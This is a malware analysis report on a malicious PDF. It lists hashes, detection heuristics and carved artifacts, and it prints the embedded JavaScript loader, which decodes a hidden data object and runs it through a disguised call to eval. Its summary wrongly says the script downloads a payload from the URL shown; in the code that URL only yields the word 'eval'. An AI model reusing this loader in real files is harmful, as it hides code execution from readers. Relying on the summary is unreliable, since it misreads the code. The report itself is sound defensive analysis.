Malicious PDF — malware analysis report

Static analysis result for SHA-256 82a87beaffa0adb1…

MALICIOUS

PDF

5.1 KB First seen: 2013-08-11
MD5: 67749efe385cae8627f09d08a348e6f0 SHA-1: 63dbf3fb06b253e6e3616652ab8b149faabc8b81 SHA-256: 82a87beaffa0adb1e845e2a7bac4af7a7a455ca1671af20405d3a59ab4aa6a8d
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

This PDF file contains embedded JavaScript that attempts to download a second-stage payload from the hardcoded URL 'http://eval/query?a=exemple&b=2'. The script reconstructs this URL from concatenated strings and then attempts to execute it. The ML classifier strongly indicates maliciousness, and the presence of obfuscated JavaScript and an embedded file further supports this assessment.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108545 bytes
SHA-256: ec5c6b33844d954f872871931ee12b66308441763ffac84a1d66bdd132e1486d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
256 of 256 identifiers look randomly generated (e.g. 'XFxKoI0YGRiTjfEH1XFxKoI0YGRiTjfEH2XFxKoI') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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